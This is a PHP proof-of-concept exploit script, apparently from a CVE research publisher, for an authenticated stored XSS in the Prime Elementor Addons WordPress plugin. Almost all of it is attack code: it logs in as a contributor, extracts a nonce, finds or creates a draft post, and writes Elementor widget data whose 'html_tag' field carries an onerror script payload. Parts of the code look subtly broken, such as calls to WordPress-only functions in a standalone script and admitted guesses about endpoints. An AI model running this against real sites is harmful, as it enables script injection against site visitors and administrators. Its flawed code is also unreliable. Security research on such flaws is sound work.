<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8677 - Prime Elementor Addons <= 1.3.3 - Authenticated Stored XSS via Widget HTML Tag Settings
// This PoC exploits the vulnerability by using Elementor's REST API to update a published post's Elementor data.
// It modifies the 'html_tag' parameter of a Prime Elementor Addon widget to inject an XSS payload.
// Assumptions:
// - Target site has Elementor and Prime Elementor Addons installed (version <= 1.3.3)
// - Attacker has a valid WordPress user account with Contributor role (or higher)
// - The REST API endpoint /wp-json/elementor/v1/globals is unlocked or uses cookie/nonce authentication.
// - A post ID where the attacker can edit content (e.g., own post) is known or can be obtained.
$target_url = 'https://example.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS
// Step 1: Authenticate and get nonce/cookie
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
curl_close($ch);
// Extract nonce from admin page
$admin_url = $target_url . '/wp-admin/edit.php?post_type=page';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
$admin_page = curl_exec($ch);
curl_close($ch);
// Extract a nonce (typically 'elementor-data-nonce' or similar)
preg_match('/"nonce":"([^"]+)"/', $admin_page, $matches);
if (!isset($matches[1])) {
// Fallback: attempt to get a nonce from the REST API's base
$nonce = '';
echo "Warning: Could not extract nonce from admin page. Will try without nonce (may fail).n";
} else {
$nonce = $matches[1];
}
// Step 2: Find a post that the user can edit (e.g., own draft)
// Use WordPress REST API to retrieve posts
$rest_posts_url = $target_url . '/wp-json/wp/v2/posts?status=draft&per_page=1';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_posts_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$posts_response = curl_exec($ch);
curl_close($ch);
$posts = json_decode($posts_response, true);
if (empty($posts) || isset($posts['code'])) {
// If no post found, create a draft post
$create_url = $target_url . '/wp-json/wp/v2/posts';
$new_post = array(
'title' => 'XSS Test - CVE-2026-8677',
'content' => '<!-- wp:paragraph --><p>Test</p><!-- /wp:paragraph -->',
'status' => 'draft'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $create_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($new_post));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
$create_response = curl_exec($ch);
curl_close($ch);
$created = json_decode($create_response, true);
if (isset($created['id'])) {
$post_id = $created['id'];
} else {
echo "Failed to create a draft post. Exiting.n";
exit(1);
}
} else {
$post_id = $posts[0]['id'];
}
echo "Using post ID: $post_idn";
// Step 3: Update post meta with Elementor data containing XSS payload
// This simulates what Elementor does when saving widget data via the editor.
// The structure depends on how the plugin stores its settings. Here we assume
// the vulnerable setting is under a widget's 'html_tag' field in the 'settings' array.
// The exact key may vary; this PoC uses a common pattern.
// First, get the existing Elementor data to preserve structure
$elementor_data_url = $target_url . '/wp-json/elementor/v1/globals';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $elementor_data_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$globals_response = curl_exec($ch);
curl_close($ch);
// Build the malicious payload: a tag name that bypasses wp_kses_post
$xsstag = 'img src=x onerror=alert(document.domain)';
// Construct a minimal valid Elementor data entry for a single widget
// In practice, the attacker would need to know the exact Elementor data structure
// for the specific widget. This is a generic representation.
$elementor_data = array(
array(
'id' => 'widget_xss_001',
'elType' => 'widget',
'widgetType' => 'prime-heading', // example widget from the plugin
'settings' => array(
'html_tag' => $xsstag, // the vulnerable parameter
'title' => 'Test'
)
)
);
// Update the post meta via Elementor's global endpoint (not standard, but common)
// The actual endpoint may be /wp-json/elementor/v1/globals or a custom endpoint.
// This PoC uses the wp/v2/posts endpoint to update meta directly.
$update_url = $target_url . '/wp-json/wp/v2/posts/' . $post_id;
$update_data = array(
'meta' => array(
'_elementor_data' => wp_slash(wp_json_encode($elementor_data)),
'_elementor_edit_mode' => 'builder'
),
'content' => 'XSS test page - will be rebuilt by Elementor'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($update_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'X-WP-Nonce: ' . $nonce
));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
$update_response = curl_exec($ch);
curl_close($ch);
$result = json_decode($update_response, true);
if (isset($result['id'])) {
echo "Successfully saved malicious element data.n";
echo "Visit: " . $target_url . '/?p=' . $post_id . " to trigger XSS.n";
} else {
echo "Failed to update post. Response: " . print_r($result, true) . "n";
echo "The plugin may store data differently. Manual testing via Elementor editor recommended.n";
}
?>